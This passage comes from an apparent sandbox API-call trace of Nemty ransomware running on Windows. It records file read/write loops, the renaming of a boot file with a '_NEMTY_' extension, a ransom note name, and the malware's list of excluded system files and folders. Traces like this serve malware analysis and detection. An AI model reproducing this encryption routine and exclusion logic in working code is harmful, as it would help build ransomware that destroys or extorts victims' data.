dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0045.379] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653f530 | out: lpFileSize=0x653f530*=18150282790958436) returned 0 [0045.379] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6346d48 [0045.379] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0045.380] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0045.389] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0045.389] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0045.389] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0045.389] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0045.398] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0045.398] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0045.398] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0045.399] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0045.408] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0045.408] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0045.408] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0045.408] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0045.417] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0045.417] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0045.417] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0045.417] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0045.427] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0045.427] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0045.427] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0045.427] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0045.436] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0045.436] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0045.436] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0045.436] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0045.446] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0045.446] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0045.446] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0045.446] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0045.455] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0045.455] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0045.455] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0045.455] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0045.465] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0045.465] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0045.465] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0045.465] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0045.474] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0045.474] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0045.474] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0045.474] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0045.480] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0045.480] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0045.480] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106063204, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0045.480] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0045.486] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106063204, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0045.486] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0045.486] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106165604, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0045.487] WriteFile (in: hFile=0xffffffff, lpBuffer=0x4f94088, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0045.487] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0045.487] CloseHandle (hObject=0xffffffff) returned 0 [0045.487] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345df0 [0045.487] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0045.487] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9edd0 [0045.487] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9edd0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0045.487] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9edf8 [0045.487] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9edd0 | out: hHeap=0x4f90000) returned 1 [0045.487] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0045.487] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f916e8 [0045.487] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0045.487] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9edf8 | out: hHeap=0x4f90000) returned 1 [0045.487] MoveFileW (lpExistingFileName="C:\\Boot\\nl-NL\\bootmgr.exe.mui" (normalized: "c:\\boot\\nl-nl\\bootmgr.exe.mui"), lpNewFileName="C:\\Boot\\nl-NL\\bootmgr.exe.mui._NEMTY_kGOBjgD_" (normalized: "c:\\boot\\nl-nl\\bootmgr.exe.mui._nemty_kgobjgd_")) returned 0 [0045.487] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f916e8 | out: hHeap=0x4f90000) returned 1 [0045.487] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345df0 | out: hHeap=0x4f90000) returned 1 [0045.488] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0045.488] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0045.488] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0045.488] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941f8 | out: hHeap=0x4f90000) returned 1 [0045.488] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0045.488] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0045.488] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcebdab70, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xcebdab70, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xcebdab70, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x344a1e0, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0045.488] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0045.488] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0045.488] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0045.488] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0045.488] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0045.488] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0045.488] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0045.488] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0045.488] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0045.488] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0045.489] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0045.489] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0045.489] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0045.489] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0045.489] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0045.489] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0045.489] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0045.489] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0045.489] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0045.489] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0045.489] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0045.489] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0045.489] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0045.489] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0045.489] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed80, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0045.489] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0045.489] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345df0 [0045.489] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0045.489] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0045.489] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed80, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0045.489] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0045.489] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345df0 | out: hHeap=0x4f90000) returned 1 [0045.489] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0045.489] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0045.489] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0045.489] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0045.489] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed80, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0045.489] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0045.489] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0045.489] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0045.489] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9edf8 [0045.489] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9edf8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0045.489] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0045.490] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f916e8 [0045.490] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0045.490] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9edf8 | out: hHeap=0x4f90000) returned 1 [0045.490] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0045.490] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcebdab70, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xcebdab70, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xcebdab70, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x344a1e0, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0045.490] FindClose (in: hFindFile=0x3423970 | out: hFindFile=0x3423970) returned 1 [0045.490] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f916e8 | out: hHeap=0x4f90000) returned 1 [0045.490] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9eda8 | out: hHeap=0x4f90000) returned 1 [0045.490] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0045.490] FindNextFileW (in: hFindFile=0x34239b0, lpFindFileData=0x653f9c8 | out: lpFindFileData=0x653f9c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x34491d8, dwReserved1=0x0, cFileName="pl-PL", cAlternateFileName="")) returned 1 [0045.490] lstrcmpiW (lpString1="pl-PL", lpString2=".") returned 1 [0045.490] lstrcmpiW (lpString1="pl-PL", lpString2="..") returned 1 [0045.490] lstrcmpiW (lpString1="pl-PL", lpString2="...") returned 1 [0045.490] lstrcmpiW (lpString1="pl-PL", lpString2="windows") returned -1 [0045.490] lstrcmpiW (lpString1="pl-PL", lpString2="$RECYCLE.BIN") returned 1 [0045.490] lstrcmpiW (lpString1="pl-PL", lpString2="rsa") returned -1 [0045.490] lstrcmpiW (lpString1="pl-PL", lpString2="NTDETECT.COM") returned 1 [0045.490] lstrcmpiW (lpString1="pl-PL", lpString2="ntldr") returned 1 [0045.490] lstrcmpiW (lpString1="pl-PL", lpString2="MSDOS.SYS") returned 1 [0045.490] lstrcmpiW (lpString1="pl-PL", lpString2="IO.SYS") returned 1 [0045.490] lstrcmpiW (lpString1="pl-PL", lpString2="boot.ini") returned 1 [0045.490] lstrcmpiW (lpString1="pl-PL", lpString2="boot.ini") returned 1 [0045.490] lstrcmpiW (lpString1="pl-PL", lpString2="AUTOEXEC.BAT") returned 1 [0045.490] lstrcmpiW (lpString1="pl-PL", lpString2="ntuser.dat") returned 1 [0045.490] lstrcmpiW (lpString1="pl-PL", lpString2="desktop.ini") returned 1 [0045.490] lstrcmpiW (lpString1="pl-PL", lpString2="CONFIG.SYS") returned 1 [0045.490] lstrcmpiW (lpString1="pl-PL", lpString2="RECYCLER") returned -1 [0045.490] lstrcmpiW (lpString1="pl-PL", lpString2="BOOTSECT.BAK") returned 1 [0045.490] lstrcmpiW (lpString1="pl-PL", lpString2="bootmgr") returned 1 [0045.490] lstrcmpiW (lpString1="pl-PL", lpString2="programdata") returned -1 [0045.490] lstrcmpiW (lpString1="pl-PL", lpString2="appdata") returned 1 [0045.491] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pl-PL", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0045.491] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pl-PL", cchWideChar=5, lpMultiByteStr=0x653f8d0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pl-PL", lpUsedDefaultChar=0x0) returned 5 [0045.491] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pl-PL", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0045.491] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pl-PL", cchWideChar=5, lpMultiByteStr=0x653f8d0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pl-PL", lpUsedDefaultChar=0x0) returned 5 [0045.491] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0045.491] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0045.491] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0045.491] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x6346d48 [0045.491] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0045.491] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9eda8 [0045.491] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9eda8, cchWideChar=16 | out: 